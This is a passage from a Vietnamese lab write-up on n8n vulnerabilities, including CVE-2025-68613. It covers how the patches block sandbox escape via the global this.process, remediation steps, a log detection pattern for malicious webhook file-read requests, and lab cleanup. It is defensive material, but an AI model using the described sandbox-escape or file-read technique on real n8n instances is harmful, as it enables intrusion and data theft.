| CVE-2025-68613 | IIFE nhận global `this` và truy cập `this.process` | Bind/call function với `{ process: {} }`; chặn `mainModule`, `binding`, `_load` | Không lấy được Node.js process thật, không nạp được `child_process` |
---
## 8. Khuyến nghị khắc phục
| # | Biện pháp | Mô tả | Ưu tiên |
|:---|:---|:---|:---|
| 1 | Nâng cấp n8n | Cập nhật lên ≥ 1.122.0 hoặc bản stable mới hơn để bao gồm đầy đủ bản vá của cả hai CVE. | Cao nhất |
| 2 | Hạn chế network | Đặt n8n sau reverse proxy (nginx/Caddy), chỉ expose các endpoint cần thiết. Block truy cập `/form/*` và `/webhook/*` từ internet nếu không cần. | Cao |
| 3 | Không chạy root | Cấu hình container chạy với user non-root (`USER node` trong Dockerfile). Giảm impact nếu bị RCE — attacker chỉ có quyền user thường. | Cao |
| 4 | Mã hóa database | Dùng PostgreSQL/MySQL thay SQLite. SQLite lưu thành 1 file → 1 lần file read = toàn bộ database. DB server riêng khó đọc trực tiếp qua file read. | Trung bình |
| 5 | Giám sát log | Monitor webhook request có `Content-Type: application/json` nhưng body chứa `"files"` + `"filepath"`. Pattern này không xuất hiện trong sử dụng bình thường. | Trung bình |
| 6 | Tách network | Đặt n8n trong subnet riêng, không cho truy cập trực tiếp từ internet. Dùng VPN hoặc zero-trust cho admin access. | Trung bình |
### Ghi chú
- Nâng cấp là bắt buộc. Các biện pháp 2–6 chỉ giảm thiểu rủi ro, không thay thế patch.
- Lỗ hổng này là pre-auth — firewall rules hạn chế login không có tác dụng vì attacker không cần đăng nhập.
- Lab cố ý đặt `N8N_SECURE_COOKIE=false` để chạy qua HTTP. Khi triển khai thực tế, luôn dùng HTTPS và giữ `N8N_SECURE_COOKIE=true`.
---
## 9. Dọn dẹp môi trường
```bash
cd ni8mare-lab
docker compose down -v
```
Lệnh trên dừng và xóa container, volumes liên quan. Đảm bảo không có n8n vulnerable còn chạy sau khi hoàn thành bài lab.